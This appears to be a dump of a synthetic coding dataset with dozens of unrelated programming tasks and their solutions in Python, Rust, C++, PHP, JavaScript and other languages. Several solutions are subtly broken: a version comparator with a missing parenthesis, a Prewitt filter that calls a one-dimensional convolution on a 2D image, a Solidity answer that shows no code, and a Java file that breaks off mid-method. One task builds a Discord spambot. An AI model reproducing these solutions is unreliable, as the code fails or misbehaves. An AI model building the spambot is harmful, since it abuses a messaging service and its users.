query stringlengths 22 16.4k | answer stringlengths 0 11.4k | resource stringclasses 4
values | lang stringclasses 148
values |
|---|---|---|---|
You are tasked with implementing a Prewitt edge detection algorithm to identify edges in an image. The Prewitt edge detection method uses a pair of 3x3 convolution kernels to calculate the gradient of the image intensity, which can be used to detect edges. The algorithm involves convolving the image with the Prewitt ke... | ```python
import numpy as np
def prewitt_edge_detection(image):
Kx = np.array([[-1, 0, 1],
[-1, 0, 1],
[-1, 0, 1]])
Ky = np.array([[-1, -1, -1],
[0, 0, 0],
[1, 1, 1]])
gradient_x = np.abs(np.convolve(image, Kx, mode='same'))
g... | magicoder | python |
You are tasked with creating a Python function that processes a list of URLs and returns a dictionary containing the domain names as keys and the number of occurrences as values. You should also handle any potential errors that may occur during the processing of the URLs.
Your function should have the following signat... | ```python
from typing import List, Dict
from urllib.parse import urlparse
def count_domain_occurrences(urls: List[str]) -> Dict[str, int]:
domain_counts = {}
for url in urls:
try:
parsed_url = urlparse(url)
domain = parsed_url.netloc.lower()
if domain.startswith("www... | magicoder | python |
You are tasked with implementing a smart contract function for a decentralized application (dApp) that facilitates the transfer of a digital asset from one user to another. The function `safe_transferfrom` takes in six parameters: `storage` (the storage location of the asset), `querier` (the entity querying the transfe... | The `safe_transferfrom` function is implemented in the `AssetTransfer` contract in Solidity. It first checks if the sender `_from` has a sufficient balance to transfer the specified `_amount` of the asset. It also ensures that both the sender and recipient addresses are valid. If these conditions are met, the function ... | magicoder | python |
You are tasked with implementing a function to normalize redundant image attributes. Redundant attributes are those that can be derived from other attributes and are not necessary to store explicitly. In this case, the function should take an object representing an image and remove redundant attributes, specifically "w... | ```typescript
function normalizeRedundantImageAttributes(image: { data: number[], width: number, height: number }): { data: number[] } {
const { data, width, height } = image;
const derivedWidth = Math.sqrt(data.length);
const derivedHeight = data.length / derivedWidth;
if (width === derivedWidth && height ===... | magicoder | typescript |
You are tasked with implementing a custom upsampling layer in a neural network using Python and TensorFlow. The custom upsampling layer should take an input tensor and perform upsampling with bilinear interpolation.
Your task is to create a Python function that takes an input tensor and returns the upsampled tensor us... | ```python
import tensorflow as tf
from tensorflow.keras import layers
def custom_upsampling(input_tensor):
upsampled_tensor = layers.UpSampling2D(size=2, interpolation='bilinear')(input_tensor)
return upsampled_tensor
```
In this solution, we use TensorFlow's Keras API to create an upsampling layer with a siz... | magicoder | python |
You are tasked with implementing a function that will parse and extract specific information from HTML code. The function should take in a string representing the HTML code and return the number of empty div elements with the class "help-block text-danger".
For example, given the following HTML code snippet:
```html
<... | ```python
def countEmptyDivsWithClass(htmlCode: str) -> int:
count = 0
start = 0
while True:
start = htmlCode.find('<div class="help-block text-danger">', start)
if start == -1:
break
end = htmlCode.find('</div>', start)
if end == -1:
break
if ... | magicoder | python |
You are tasked with creating a Python function that processes CIFAR-10 dataset information and generates a CSV file containing class indices and data indices. The CIFAR-10 dataset is a collection of 60,000 32x32 color images in 10 different classes, with 6,000 images per class. The given code snippet provides a startin... | ```python
import pandas as pd
def generate_cifar_csv(dict):
batch_label = dict[b'batch_label']
labels = dict[b'labels']
data = dict[b'data']
filenames = dict[b'filenames']
length = len(labels)
data_index = [i for i in range(length)]
class_index = labels
csv_dict = {'class_index': class... | magicoder | python |
You are tasked with implementing a simple data structure to manage a collection of tasks. The data structure should support adding tasks, removing tasks, and retrieving the next task to be executed based on a priority order. Each task is represented by a unique identifier and a priority level.
You need to implement a ... | ```rust
use std::cmp::Ordering;
struct Task {
id: u32,
priority: u32,
}
pub struct PriorityQueue {
tasks: Vec<Task>,
}
impl PriorityQueue {
pub fn new() -> PriorityQueue {
PriorityQueue { tasks: Vec::new() }
}
pub fn insert(&mut self, task_id: u32, priority: u32) {
let task =... | magicoder | rust |
You are tasked with writing a program to decode a message hidden within a string of characters. The message is encoded using a simple substitution cipher, where each letter is shifted a certain number of positions down or up the alphabet.
You are given a string of characters representing the encoded message. The encod... | ```python
def decode_message(encoded_message):
cipher = {
'a': 'z', 'b': 'y', 'c': 'x', 'd': 'w', 'e': 'v', 'f': 'u', 'g': 't', 'h': 's', 'i': 'r', 'j': 'q',
'k': 'p', 'l': 'o', 'm': 'n', 'n': 'm', 'o': 'l', 'p': 'k', 'q': 'j', 'r': 'i', 's': 'h', 't': 'g',
'u': 'f', 'v': 'e', 'w': 'd', 'x':... | magicoder | python |
You are tasked with implementing a simplified version of a message authentication code (MAC) in a programming language of your choice. A MAC is a cryptographic technique used to verify the integrity and authenticity of a message. The provided code snippet calls the `update` method of a MAC object with three parameters:... | ```python
import hashlib
class SimpleMAC:
def __init__(self, algorithm):
self.algorithm = algorithm
self.mac = hashlib.new(algorithm)
def update(self, message, start_offset, num_bytes):
self.mac.update(message[start_offset:start_offset+num_bytes])
def digest(self):
return ... | magicoder | python |
You are tasked with implementing a C++ class that performs quaternion operations. Quaternions are mathematical entities used to represent rotations in 3D space. Your task is to complete the implementation of the `Quaternion` class by adding the following methods:
1. `conjugate`: This method should return the conjugate... | ```cpp
#include <iostream>
#include <cmath>
namespace rw {
namespace math {
template <typename T>
class Quaternion {
public:
T w, x, y, z;
Quaternion(T w, T x, T y, T z) : w(w), x(x), y(y), z(z) {}
Quaternion<T> conjugate() const {
retu... | magicoder | cpp |
You are tasked with creating a Python class that simulates a simple banking system. The class should have methods to deposit funds, withdraw funds, and check the account balance. Additionally, the class should be initialized with the account holder's name and an initial balance. The class should also keep track of the ... | ```python
class BankAccount:
def __init__(self, account_holder, initial_balance):
self.account_holder = account_holder
self.balance = initial_balance
self.total_transactions = 0
def deposit(self, amount):
self.balance += amount
self.total_transactions += 1
def withd... | magicoder | python |
You are working on a project that involves training a neural network using the PyTorch library. As part of the training process, you need to implement a custom optimizer that only updates the parameters which require gradients. To achieve this, you decide to use the `torch.optim.Adam` optimizer and filter out the param... | ```python
import torch
def create_custom_optimizer(model, learning_rate):
# Filter out parameters that require gradients
trainable_params = filter(lambda p: p.requires_grad, model.parameters())
# Create Adam optimizer with filtered parameters and specified learning rate
optimizer = torch.optim.Ada... | magicoder | python |
You are tasked with creating a Python web scraper using the Scrapy framework to extract specific information from the news articles on MillardAyo.com. The goal is to retrieve the article titles, publication dates, and article content from the website.
Your task is to complete the Spider class in the given Python file ... | ```python
# scraper/news/spiders/millardayo.py
# Spider for MillardAyo.com
import scrapy
class MillardAyoSpider(scrapy.Spider):
name = 'millardayo'
start_urls = ['https://www.millardayo.com/news']
def parse(self, response):
# Extracting article titles and publication dates
articles = resp... | magicoder | python |
You are tasked with creating a Rust module that provides utility functions for managing assets and entities within a game engine. The game engine is designed to handle various game assets such as textures, models, and audio files, as well as game entities such as characters, enemies, and interactive objects. Your goal ... | ```rust
// state_asset_utils.rs
pub struct Asset {
// Define the Asset struct to hold asset data
// ...
}
impl Asset {
pub fn load_asset(asset_path: &str) -> Result<Asset, String> {
// Implement logic to load the asset from the specified path
// ...
}
pub fn unload_asset(asset: &As... | magicoder | rust |
You are tasked with implementing a class that simulates an interaction engine for a conversational interface. The interaction engine is responsible for managing the state collection, database manager, and interface for conducting conversations with users. Your goal is to create a Python class that encapsulates the func... | ```python
class InteractionEngine:
def __init__(self, state_collection, database_manager, interface):
self.state_collection = state_collection
self.database_manager = database_manager
self.interface = interface
def conduct_conversation(self, user_identifier):
# Conduct conversat... | magicoder | python |
You are tasked with implementing a Python function that performs a series of operations on matrices using the GraphBLAS library. The function will take in two sparse matrices, perform matrix multiplication, add biases, apply a thresholding operation, and finally apply the rectified linear unit (ReLU) activation functio... | ```python
def perform_graphblas_operations(X, W, biases, threshold):
# Implement the missing parts to perform the operations described in the code snippet
matmul_result = irb_inner.graphblas.matrix_multiply(X, W)
add_bias_result = irb_inner.graphblas.matrix_apply(
matmul_result, biases, "plus_plus"
... | magicoder | python |
You are tasked with implementing a custom data type in Swift that encapsulates a linked list and provides various operations for manipulating the list. Your goal is to create a method that reverses the linked list in place.
You are given a partial implementation of the `LinkedList` data type as follows:
```swift
publ... | ```swift
public class Node<T> {
var value: T
var next: Node?
init(value: T) {
self.value = value
}
}
public class LinkedList<T> {
var head: Node<T>?
// Other methods and properties are not shown
func reverse() {
var prev: Node<T>? = nil
var current = h... | magicoder | swift |
You are tasked with implementing a function that processes a given input string and performs specific operations based on the content of the string. The function should handle various scenarios and produce the expected output based on the input.
You are provided with a code snippet that contains a commented-out line ... | ```rust
fn process_string(input: &str) -> Result<(), String> {
if input.contains("123") {
println!("Found 123");
return Ok(());
} else if input.contains("456") {
println!("Found 456");
return Ok(());
} else {
println!("Not Found");
return Ok(());
}
}
``` | magicoder | rust |
You are tasked with implementing a custom logging system for a Mars MIPS (Mars Multi-Functional Instrument and Payload System) software module. The module is responsible for controlling various instruments and payloads on a Mars rover. The logging system should be able to handle different log levels and provide flexibi... | ```python
import logging
class MarsMIPSLogger:
def __init__(self, log_level=logging.DEBUG):
self.logger = logging.getLogger('spc.mars_mips')
self.logger.setLevel(log_level)
self.formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
self.console_handl... | magicoder | python |
You are tasked with implementing a function that iterates through a file system directory and its contents using asynchronous iterators. The file system is represented using the `FileSystemDirectoryHandle` and `FileSystemFileHandle` objects, which provide access to directories and files, respectively. The code snippet ... | ```javascript
async function listFiles(directoryHandle) {
const fileNames = [];
async function traverseDirectory(directoryHandle) {
for await (const [name, handle] of directoryHandle.entries()) {
if (handle.kind === 'file') {
fileNames.push(name);
} else if (handle.kind === 'directory') {
... | magicoder | javascript |
You are tasked with implementing a custom Jest matcher for testing the presence of a CSS class in a DOM element. The provided code snippet is a part of the Jest matcher implementation. Your goal is to complete the implementation of the custom Jest matcher function to check if a given DOM element contains a specified CS... | ```javascript
expect.extend({
toHaveClass(received, className) {
const pass = received.classList.contains(className);
const orNot = pass ? 'not' : '';
return {
pass,
message: () => `Expected ${received.outerHTML} ${orNot} to contain the CSS class "${className}"`
};
}
});
```
The `toHave... | magicoder | javascript |
You are tasked with implementing a chained translator system that can process and transform input data through a series of translator modules. Each translator module is responsible for applying a specific transformation to the input data. Your goal is to design a system that can efficiently handle this chaining of tran... | ```python
class ChainedTranslator:
def __init__(self):
self.translators = []
def register_translator(self, translator):
self.translators.append(translator)
def process_input(self, input_data):
output = input_data
for translator in self.translators:
output = tran... | magicoder | python |
You are tasked with implementing a stack data structure that supports the following operations:
1. `push(val)`: Add an element `val` to the top of the stack.
2. `pop()`: Remove the element at the top of the stack and return its value.
3. `peek()`: Return the value of the element at the top of the stack without removing... | ```python
class Node:
def __init__(self, value):
self.value = value
self.next = None
class Stack:
def __init__(self):
self.head = None
def push(self, val):
new_node = Node(val)
new_node.next = self.head
self.head = new_node
def pop(self):
if sel... | magicoder | python |
You are tasked with creating a script to automate the process of killing specific processes based on their names. Your script should take a list of process names as input and terminate all processes with those names. You should use the following guidelines to create your script:
1. The script should use the `ps` comma... | ```bash
#!/bin/bash
# Input: List of process names to be terminated
process_names=("pocket" "example_process")
# Get the PIDs of the processes and kill them
for name in "${process_names[@]}"
do
pids=$(ps -ef | grep "${name}" | grep -v "grep" | awk '{print $2}')
for pid in $pids
do
sudo kill -9 $pid > /dev/n... | magicoder | shell |
You are tasked with implementing a function that calculates the factorial of a given non-negative integer using recursion. The factorial of a non-negative integer n is denoted as n! and is the product of all positive integers less than or equal to n. For example, 5! = 5 * 4 * 3 * 2 * 1 = 120.
Write a Python function c... | ```python
def factorial(n: int) -> int:
if n == 0: # Base case: 0! = 1
return 1
else:
return n * factorial(n - 1) # Recursively calculate factorial
```
The `factorial` function first checks for the base case where `n` is 0 and returns 1. For non-zero `n`, it recursively calls itself with `n-1... | magicoder | python |
You are tasked with creating a Python script to automate the deployment of a smart contract to a testnet using the T-Bears blockchain network. T-Bears is a private blockchain network for testing and development purposes. The provided code snippet is a shell command that deploys a smart contract to the testnet using T-B... | ```python
import os
import subprocess
def deploy_smart_contract():
# Set the current working directory to the directory containing the script
script_directory = os.path.dirname(os.path.realpath(__file__))
os.chdir(script_directory)
# Construct the T-Bears deploy command
deploy_command = [
... | magicoder | python |
You are tasked with creating a Python program that interacts with a RESTful API to download and save an image file locally. You will need to use the `requests` library to make a GET request to the API endpoint, and then save the image data to a file using the `ContentFile` class from the Django framework. Additionally,... | ```python
import requests
from django.core.files.base import ContentFile
from django.core.management.base import BaseCommand
import os
class Command(BaseCommand):
help = 'Download and save an image from a RESTful API'
def handle(self, *args, **options):
api_url = 'https://example.com/api/image' # Rep... | magicoder | python |
You are tasked with implementing a character counter utility in JavaScript. Your task is to create a class `CharCounter` that exports a function `countCharacters` which takes a string as input and returns an object containing the count of each character in the input string.
The `CharCounter` class should have the foll... | ```javascript
// CharCounter.js
class CharCounter {
static countCharacters(input) {
const charCount = {};
for (let char of input) {
if (charCount[char]) {
charCount[char]++;
} else {
charCount[char] = 1;
}
}
return charCount;
}
}
export { CharCounter };
``` | magicoder | javascript |
You are tasked with implementing a text entity type builder in Rust. The given code snippet provides a partial implementation of the `RTDTextEntityTypePhoneNumberBuilder` struct and its associated methods. Your goal is to complete the implementation of the builder by adding necessary methods and ensuring that the build... | ```rust
#[derive(Debug, Default)]
pub struct TextEntityTypePhoneNumber {
offset: i32,
length: i32,
}
pub struct RTDTextEntityTypePhoneNumberBuilder {
inner: TextEntityTypePhoneNumber,
}
impl RTDTextEntityTypePhoneNumberBuilder {
pub fn new() -> Self {
RTDTextEntityTypePhoneNumberBuilder {
... | magicoder | rust |
You are tasked with creating a Java class that processes messages using Apache Camel and logs events using EELFLogger. Your task is to implement a method that takes in a message body and a destination endpoint, creates an Apache Camel Exchange, and sends the message to the specified endpoint. Additionally, you need to ... | ```java
package org.onap.clamp.clds.client;
import com.att.eelf.configuration.EELFLogger;
import com.att.eelf.configuration.EELFManager;
import org.apache.camel.CamelContext;
import org.apache.camel.Exchange;
import org.apache.camel.builder.ExchangeBuilder;
import org.onap.clamp.clds.config.ClampProperties;
public c... | magicoder | java |
You are working on a security project and have intercepted a snippet of encrypted binary data. Your task is to decode the binary data and extract meaningful information from it. The binary data is represented as a byte string in Python.
Your goal is to decode the byte string and extract the original information it rep... | ```python
def decode_byte_string(byte_string):
decoded_info = byte_string.decode('utf-8') # Assuming the byte string represents encoded text
return decoded_info
```
In this solution, the `decode_byte_string` function takes the byte string as input and decodes it using the `decode` method with the 'utf-8' enco... | magicoder | python |
You are tasked with implementing a 2-stage stochastic programming problem solver. In this problem, we will focus on solving a simplified version of the 2-stage stochastic program structure. The problem assumes that the right-hand side (RHS) of the constraints is random.
You are given the following inputs:
- A set of d... | ```python
from pulp import LpProblem, LpVariable, LpMaximize, lpSum, LpBinary, LpStatus
def solve_stochastic_program(decision_variables, first_stage_constraints, second_stage_constraints):
# Create the LP problem
prob = LpProblem("Stochastic_Program", LpMaximize)
# Define decision variables
x = {var: ... | magicoder | python |
You are tasked with creating a Python class that manages the properties of widgets in a graphical user interface (GUI) application. The class should provide methods for initializing widget options, drawing widget primitives, and setting widget properties.
Your task is to implement a Python class called `WidgetManager`... | ```python
from PyQt5.QtWidgets import QWidget, QApplication
from PyQt5.QtGui import QPainter, QStyle, QStyleOption
import sys
class WidgetManager(QWidget):
def __init__(self):
super().__init__()
self.option = QStyleOption()
self.option.initFrom(self)
def draw_widget_primitive(self):
... | magicoder | python |
You are tasked with creating a program that simulates a simple file permission system. The program should allow users to grant or revoke permissions for specific files to other users. Each file can have multiple users with different permissions.
Your program should support the following operations:
1. Grant permission... | ```python
class User:
def __init__(self, name):
self.name = name
self.permissions = {}
def grant_permission(self, file_name, permission):
if file_name in self.permissions:
self.permissions[file_name].add(permission)
else:
self.permissions[file_name] = {pe... | magicoder | python |
You are tasked with implementing a Python class that manages software versioning. The class should support comparing different versions, checking for equality, and determining the latest version among a list of versions.
Your task is to implement the `VersionManager` class with the following requirements:
- The class ... | ```python
class VersionManager:
def __init__(self, version):
self.version = version
def is_equal(self, other_version):
return self.version == other_version
def is_greater(self, other_version):
return self.version > other_version
def is_lesser(self, other_version):
retu... | magicoder | python |
You are tasked with creating a Python package version comparison tool. Your task is to implement a function that compares two version strings and determines which one is greater. The version strings follow the Semantic Versioning (SemVer) format, which consists of three non-negative integers separated by periods (e.g.,... | ```python
def compare_versions(version1: str, version2: str) -> int:
v1_parts = list(map(int, version1.split('.')))
v2_parts = list(map(int, version2.split('.'))
for v1, v2 in zip(v1_parts, v2_parts):
if v1 > v2:
return 1
elif v1 < v2:
return -1
if len(v1_parts)... | magicoder | python |
You are tasked with creating a class that manages room bookings for a hotel. The class should handle the following functionalities:
1. Add a new room booking for a user.
2. Retrieve all room bookings for a specific user.
3. Retrieve all room bookings for a specific date.
You are provided with the following code snipp... | ```php
use Powhr\Models\User;
use Powhr\Models\RoomBookingModel;
class RoomBookingManager {
private $bookings;
public function __construct() {
$this->bookings = [];
}
public function addBooking(User $user, string $roomType, string $date) {
$booking = new RoomBookingModel($user, $roomT... | magicoder | php |
You are tasked with implementing a function to remove spikes from a given time series. A spike is defined as an isolated data point that significantly deviates from the surrounding values. Your task is to write a Python function that takes in a numpy array representing a time series and returns a new numpy array with t... | ```python
import numpy as np
def remove_spikes(time_series: np.ndarray) -> np.ndarray:
"""
Removes spikes from the given time series.
Parameters
----------
time_series : numpy.ndarray
Your time series.
Returns
-------
numpy.ndarray:
Numpy array of time series without s... | magicoder | python |
You are working on a project to implement a recommendation system using collaborative filtering. In this system, you are using a sparse matrix to represent the user-item interactions. The code snippet provided initializes a sparse matrix using the `scipy` library's `dok_matrix` function.
Your task is to implement a fu... | ```python
import numpy as np
import scipy.sparse as sp
from sklearn.metrics.pairwise import cosine_similarity
def calculate_item_similarity(n_users, m_items, user_item_interactions):
adj_mat = sp.dok_matrix((n_users + m_items, n_users + m_items), dtype=np.float32)
for user_id, item_id, rating in user_item... | magicoder | python |
You are tasked with implementing a user management system for a company's internal application. The system should provide functionality to retrieve user information and check user roles and privileges. You are given an interface with the following methods:
```java
public interface UserManagementService {
UserModel... | ```java
import java.util.List;
public class UserManagementServiceImpl implements UserManagementService {
// Assume the existence of a UserRepository to retrieve user data
private UserRepository userRepository;
public UserManagementServiceImpl(UserRepository userRepository) {
this.userRepository =... | magicoder | java |
You are tasked with implementing a function to balance a string containing various types of grouping symbols. The grouping symbols include parentheses '()', square brackets '[]', and curly braces '{}'. The function should determine if the input string has balanced grouping symbols and return true if it does, and false ... | ```cpp
#include <stack>
#include <string>
bool isBalanced(const std::string& input) {
std::stack<char> stack;
for (char c : input) {
if (c == '(' || c == '[' || c == '{') {
stack.push(c);
} else if (c == ')' || c == ']' || c == '}') {
if (stack.empty()) {
... | magicoder | cpp |
You are tasked with implementing a custom module resolution system for a JavaScript project. The system should mimic the behavior of the `export * from 'module'` syntax, which exports all named exports from a module. Your task is to write a function that takes a module name as input and returns a list of all named expo... | ```javascript
// Define the module re-exports
const moduleReExports = {
'ledger.module': ['namedExport1', 'namedExport2'],
'containers': ['namedExport3', 'namedExport4'],
'models': ['namedExport5', 'namedExport6']
};
function resolveModuleExports(moduleName) {
const exports = new Set();
function resolveExpo... | magicoder | javascript |
You are tasked with implementing a function that processes a batch of data for cloud synchronization. The function should take a list of data items and upload them to the cloud in batches, ensuring that each batch does not exceed a specified maximum size. Additionally, the function should handle any potential errors th... | ```cpp
#include <iostream>
#include <stdexcept>
namespace cloud_sync {
class BatchUploader {
public:
void ProcessAndUploadBatch(const std::vector<DataItem>& data, size_t maxBatchSize) {
size_t numItems = data.size();
size_t numBatches = (numItems + maxBatchSize - 1) / maxBatchSize; // Calculate t... | magicoder | cpp |
You are tasked with creating a Python program that simulates a simple banking system. The program should allow users to create accounts, deposit money, withdraw money, and check their balance. The program should also ensure that users cannot withdraw more money than they have in their account.
Your task is to implemen... | ```python
class BankAccount:
def __init__(self, initial_balance):
self.balance = initial_balance
def deposit(self, amount):
self.balance += amount
print(f"{amount} deposited successfully. Current balance: {self.balance}")
def withdraw(self, amount):
if amount <= self.balanc... | magicoder | python |
You are working on a blockchain-based application using the EOSIO platform. In this scenario, you need to create a smart contract that manages the issuance and transfer of a custom token called "MyToken." The smart contract should include functionalities to create new tokens, transfer tokens between accounts, and retri... | ```cpp
#include <eosiolib/asset.hpp>
#include <eosiolib/eosio.hpp>
#include <eosiolib/time.hpp>
using namespace eosio;
class [[eosio::contract]] MyToken : public contract {
public:
using contract::contract;
[[eosio::action]]
void create(name issuer, asset maximum_supply) {
require_auth(_self);
auto sy... | magicoder | cpp |
You are tasked with implementing a function to calculate the area under a parametric curve defined by a set of points. The parametric curve is defined by two functions x(t) and y(t), where t is a parameter that varies within a given range. The area under the curve is to be approximated using the trapezoidal rule.
You ... | ```python
def area_under_parametric_curve(x, y, U, d):
n = int(U / d) # Number of intervals
area = 0.0
for i in range(n):
t1 = i * d
t2 = (i + 1) * d
x1, y1 = x(t1), y(t1) # Calculate x(t1) and y(t1)
x2, y2 = x(t2), y(t2) # Calculate x(t2) and y(t2)
area += 0.5 * (... | magicoder | python |
You are tasked with creating a file upload feature for a web application using TypeScript and the `@typeix/resty` framework. The application should allow users to upload files through an API endpoint and handle the file upload process in a controller.
Your task is to implement the necessary code to achieve this functi... | ```typescript
// file-upload.controller.ts
import { Module, Controller, Get, Post, Request, Response, FileParam } from "@typeix/resty";
@Controller("/file")
export class FileUploadController extends Module {
@Post("/upload")
async uploadFile(@Request() request: any, @Response() response: any, @FileParam("file") fi... | magicoder | typescript |
You are working on a computer graphics project and need to implement a function to update textures based on certain criteria. The given code snippet is part of the function `updateTextures`, which takes `xIn` (a list of input textures) and `args` (a dictionary of arguments) as input and returns a modified list of textu... | ```python
def updateTextures(xIn, args):
opt_thetas = args['optThetas']
opt_phis = args['optPhis']
xOut = []
for i, (t, f) in enumerate(zip(opt_thetas, opt_phis)):
if t and f:
xOut.append(xIn[i])
elif t:
pts_per_phase = xIn[i].size // 2
xOut.append(xI... | magicoder | python |
You are tasked with implementing a reinforcement learning (RL) algorithm for a meta policy class using the Proximal Policy Optimization (PPO) method. The provided code snippet is a partial implementation of the `MetaPPOAgent` class, which is responsible for training a meta policy using PPO.
Your task is to complete th... | ```python
class MetaPPOAgent(BaseAgent):
""" Meta policy class. """
def __init__(self, actor: MlpActor, critic: MlpCritic, replay_buffer: ReplayBuffer, action_spec: ActionSpec):
self.actor = actor
self.critic = critic
self.replay_buffer = replay_buffer
self.action_spec = action_... | magicoder | python |
You are tasked with creating a Python program to simulate a simple Discord spambot. The spambot should be capable of sending a maximum of 16 messages to a specified Discord channel. Each message should contain a unique identifier indicating the order in which it was sent. Your program should utilize the `discord.py` li... | ```python
import discord
import asyncio
# Replace 'YOUR_DISCORD_TOKEN' with your actual Discord bot token
TOKEN = 'YOUR_DISCORD_TOKEN'
client = discord.Client()
async def spam_messages(channel, num_messages):
if num_messages > 16:
num_messages = 16 # Limit the number of messages to 16
for i in rang... | magicoder | python |
You are working on a financial management system that involves testing certain functionalities related to budget appropriations and financial transactions. Your task is to write a function that checks for errors in the system based on specific criteria.
You are given a code snippet from a testing module that includes ... | ```python
def number_of_errors(_FILE, database, models=None):
# Implement the logic to check for errors based on specific criteria
# Example:
errors = 0
# Perform error checks and update the errors count accordingly
return errors
def test_failure(database):
""" Tests that SF 133 amount sum for ... | magicoder | python |
You are tasked with creating a web application using Python's aiohttp library and aiohttp_mako for template rendering. Your goal is to implement a simple web server that serves an HTML page with dynamic content. The provided code snippet initializes the aiohttp web application and sets up a Mako template for rendering ... | ```python
import aiohttp
import aiohttp_mako
from aiohttp import web
async def index(request):
# Dynamic content
head = "Welcome to My Web App"
text = "This is a dynamic web page using aiohttp and Mako template."
# Mako template
tplt = "<html><body><h1>${head}</h1>${text}</body></html>"
templa... | magicoder | python |
You are tasked with creating a custom role-based access control system using Laravel's Eloquent ORM and the Zizaco\Entrust package. Your goal is to extend the functionality of the EntrustRole class to include additional attributes and methods specific to your application's requirements.
You have been provided with a c... | ```php
use Illuminate\Database\Eloquent\Model;
use Zizaco\Entrust\EntrustRole;
class Role extends EntrustRole
{
protected $fillable = ['name', 'display_name', 'description'];
public function assignPermission($permissionName)
{
$permission = Permission::where('name', $permissionName)->first();
... | magicoder | php |
You are tasked with implementing a Python function that colors nodes in a graph based on a specified categorical attribute. The function should take in a graph, a color attribute, and a colormap dictionary, and then color the nodes in the graph according to the specified attribute and colormap.
The function signature ... | ```python
import networkx as nx
import matplotlib.pyplot as plt
def color_nodes_by_attribute(graph, color_by, colormap):
node_colors = [colormap[graph.nodes[node][color_by]] for node in graph.nodes]
nx.draw(graph, with_labels=True, node_color=node_colors, cmap=plt.get_cmap('jet'))
plt.show()
# Example usa... | magicoder | python |
You are tasked with creating a Python class that simulates a simple turtle graphics system. The turtle should be able to move around a virtual canvas and draw lines as it moves. Your task is to implement the `TurtleGraphics` class with the following functionalities:
- The turtle should be able to move to a specified po... | ```python
import turtle
class TurtleGraphics:
def __init__(self):
self.t = turtle.Turtle()
def pen_up(self):
self.t.penup()
def pen_down(self):
self.t.pendown()
def set_position(self, x, y):
self.t.penup()
self.t.setpos(x, y)
self.t.pendown()
def ... | magicoder | python |
You are tasked with implementing a simple reinforcement learning agent using Python. The agent will interact with an environment and learn to make decisions based on the rewards it receives. Your task is to create a class for the reinforcement learning agent that follows the given specifications.
You are provided with... | ```python
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License
import numpy as np
from abc import ABCMeta, abstractmethod
from ... | magicoder | python |
You are tasked with implementing a class hierarchy for exploration strategies in an input-space model. The input-space model is used to specify test cases for different dimensions, such as scalar dimensions, matrices, and other complex spaces. Each dimension is associated with an exploration strategy that determines wh... | ```csharp
using System;
using System.Collections.ObjectModel;
public interface IExplorationStrategy
{
// Define any required interface methods or properties here
}
public abstract class ExplorationStrategy<T> : IExplorationStrategy
{
protected ReadOnlyCollection<ExplorationStrategy<T>> _wrappedStrategies;
... | magicoder | csharp |
You are tasked with implementing a function to manage a texture atlas used in computer graphics. A texture atlas is a collection of smaller textures packed into a single larger image. The goal is to efficiently pack these smaller textures into the atlas to minimize wasted space. The given code snippet provides a starti... | ```rust
// Define the TextureAtlas struct
struct TextureAtlas {
free_rects: Vec<Rect>,
padding: i32,
}
// Define the Rect struct to represent a rectangle
struct Rect {
x: i32,
y: i32,
width: i32,
height: i32,
}
impl TextureAtlas {
// Implement the new_padded function to create a new Textur... | magicoder | rust |
You are tasked with implementing a text formatting algorithm for a text editor. The algorithm should take into account tab stops, container width, horizontal scrolling, text width, and horizontal scrolling offset.
You are given the following code snippet as a starting point for the algorithm:
```rust
.tabstop(self.t... | ```rust
fn format_text(
text: &str,
tabstop: usize,
container_width: usize,
no_hscroll: bool,
shift: usize,
full_width: usize,
hscroll_offset: usize,
) -> String {
// Apply tab stops
let mut formatted_text = String::new();
let mut current_width = 0;
for c in text.chars() {
... | magicoder | rust |
You are tasked with creating a program that analyzes the given software license disclaimer to extract and count the occurrences of unique words. The disclaimer is a multi-line string containing words separated by spaces, punctuation, and line breaks. Your program should ignore case sensitivity and consider words with d... | ```python
import re
def count_unique_words(disclaimer):
disclaimer = disclaimer.lower() # Convert to lowercase
words = re.findall(r'\b\w+\b', disclaimer) # Extract words using regex
word_count = {}
for word in words:
word_count[word] = word_count.get(word, 0) + 1 # Count occurrences of each ... | magicoder | python |
You are tasked with creating a Python class to generate a Gaussian Random Field (GRF) and then implementing a method to calculate the power spectrum of the generated field.
Your task is to complete the implementation of the `GaussianRandomField` class by adding a method `calculate_power_spectrum` that calculates the p... | ```python
import numpy as np
import os
class GaussianRandomField:
def __init__(self, mean=0, std_dev=1):
self.mean = mean
self.std_dev = std_dev
self.field = None
def generate_field(self, shape):
self.field = np.random.normal(self.mean, self.std_dev, shape)
def calculate_p... | magicoder | python |
You are tasked with creating a Python script that processes command-line arguments to determine the target IP address for a web request. The script should handle different scenarios for obtaining the IP address, including when a command-line argument is provided, when a default IP address is used, and when a specific I... | ```python
import sys
class DevNull:
def write(self, msg):
pass
if len(sys.argv) > 1:
ip = sys.argv[1]
else:
ip = "http://" + sys.argv[0] if len(sys.argv) > 0 else "http://localhost:8070/"
# Test cases
print(ip) # Output the determined IP address
```
The solution begins by importing the sys modu... | magicoder | python |
You are tasked with implementing a smart pointer class in C++ that mimics the behavior of the given code snippet. The smart pointer should manage the lifetime of the underlying object and provide a way to access it safely.
Your task is to create a class `SmartPointer` with the following requirements:
- The class shoul... | ```cpp
#include <iostream>
template <typename T>
class SmartPointer {
private:
T* m_impl;
public:
SmartPointer(T* ptr) : m_impl(ptr) {}
~SmartPointer() {
delete m_impl;
}
T* getPtr() {
return m_impl ? m_impl : nullptr;
}
};
int main() {
// Example usage
int* ptr = ne... | magicoder | cpp |
You are tasked with implementing a function to validate Chinese citizen identification numbers (ID numbers). Chinese citizen ID numbers consist of 18 digits, with the last digit being either a digit (0-9) or the letter 'X'. The first 17 digits represent the location, birth date, and gender information of the citizen, w... | ```python
def validate_id_number(id_number):
if len(id_number) != 18 or not id_number[:-1].isdigit() or id_number[-1] not in '0123456789X':
return False # Return False for invalid length, non-digit characters, or invalid last character
weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
... | magicoder | python |
You are tasked with implementing a file integrity verification system using Java. You are given a `CheckCodeInfo` class with two fields: `weakToken` of type `long` for adler32 weak checksum and `strongToken` of type `String` for md5 strong checksum. Your goal is to create a method that calculates the md5 checksum of a ... | ```java
import java.io.FileInputStream;
import java.io.IOException;
import java.security.DigestInputStream;
import java.security.MessageDigest;
public class FileIntegrityVerifier {
public boolean verifyFileIntegrity(CheckCodeInfo checkCodeInfo, String filePath) {
try {
